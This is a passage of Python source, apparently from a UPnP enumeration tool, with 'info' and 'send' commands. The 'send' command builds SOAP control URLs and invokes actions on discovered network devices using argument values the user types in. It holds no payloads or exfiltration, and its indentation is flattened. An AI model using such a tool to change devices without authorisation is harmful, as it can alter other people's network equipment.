isinstance(v, dict): continue else: print("\t%s: %s" % (k, v)) # try: # v.has_key(False) # Has key removed in python3 # except: # print("\t%s: %s" % (k,v)) print('') return elif args[0] == 'info': output = self.enum_hosts data_structs = [] for arg in args[1:]: try: arg = int(arg) except: pass output = output[arg] try: for k, v in output.items(): if isinstance(v, dict): data_structs.append(k) else: print(k, ':', v) continue # try: # v.has_key(False) # dataStructs.append(k) # except: # print(k,':',v) # continue except: print(output) for struct in data_structs: print(struct, ': {}') return elif args[0] == 'send': # Send SOAP requests # index = False in_arg_counter = 0 if len(args) != 5: # showHelp(argv[0]) return else: try: index = int(args[1]) host_info = self.enum_hosts[index] except: print('indexError') return device_name = args[2] service_name = args[3] action_name = args[4] # action_args = False send_args = {} ret_tags = [] # controlURL = False # full_service_name = False # Get the service control URL and full service name try: control_url = host_info['proto'] + host_info['name'] control_url2 = host_info['deviceList'][device_name]['services'][service_name]['controlURL'] if not control_url.endswith('/') and not control_url2.startswith('/'): control_url += '/' control_url += control_url2 except Exception as e: print('Caught exception:') traceback.print_tb(e) print("Are you sure you've run 'host get %d' and specified the correct service name?" % index) return False # Get action info try: action_args = \ host_info['deviceList'][device_name]['services'][service_name]['actions'][action_name][ 'arguments'] full_service_name = host_info['deviceList'][device_name]['services'][service_name]['fullName'] except Exception as e: print('Caught exception:') traceback.print_tb(e) print("Are you sure you've specified the correct action?") return False for argName, argVals in action_args.items(): action_state_var = argVals['relatedStateVariable'] state_var = host_info['deviceList'][device_name]['services'][service_name]['serviceStateVariables'][ action_state_var] if argVals['direction'].lower() == 'in': print_info("Required argument:") print("\tArgument Name: ", argName) print("\tData Type: ", state_var['dataType']) if 'allowedValueList' in state_var: print("\tAllowed Values:", state_var['allowedValueList']) if 'allowedValueRange' in state_var: print("\tValue Min: ", state_var['allowedValueRange'][0]) print("\tValue Max: ", state_var['allowedValueRange'][1]) if 'defaultValue' in state_var: print("\tDefault Value: ", state_var['defaultValue']) prompt = "\tSet %s value to: " % argName try: # Get user input for the argument value (argc, argv) = self.getUserInput(prompt) if argv is None: print_warning('Stopping send request...') return u_input = '' if argc > 0: in_arg_counter += 1 for val in argv: u_input += val + ' ' u_input = u_input.strip() if state_var['dataType'] == 'bin.base64' and u_input: u_input = base64.encodebytes(bytes(u_input, 'UTF-8')) send_args[argName] = (u_input.strip(), state_var['dataType']) except KeyboardInterrupt: print("") return print('') else: ret_tags.append((argName, state_var['dataType'])) # Remove the above inputs from the command history # while inArgCounter: # try: # readline.remove_history_item(readline.get_current_history_length() - 1) # except: # pass # # inArgCounter -= 1 # print 'Requesting',controlURL soap_response = self.send_soap(host_info['name'], full_service_name, control_url, action_name, send_args) if soap_response: # It's easier to just parse this ourselves... for (tag, dataType) in ret_tags: tag_value = self.extract_single_tag(soap_response, tag) if dataType == 'bin.base64' and tag_value is not None: # print(tagValue) tag_value = base64.decodebytes(bytes(tag_value, 'UTF-8')) print(tag, ':', tag_value) return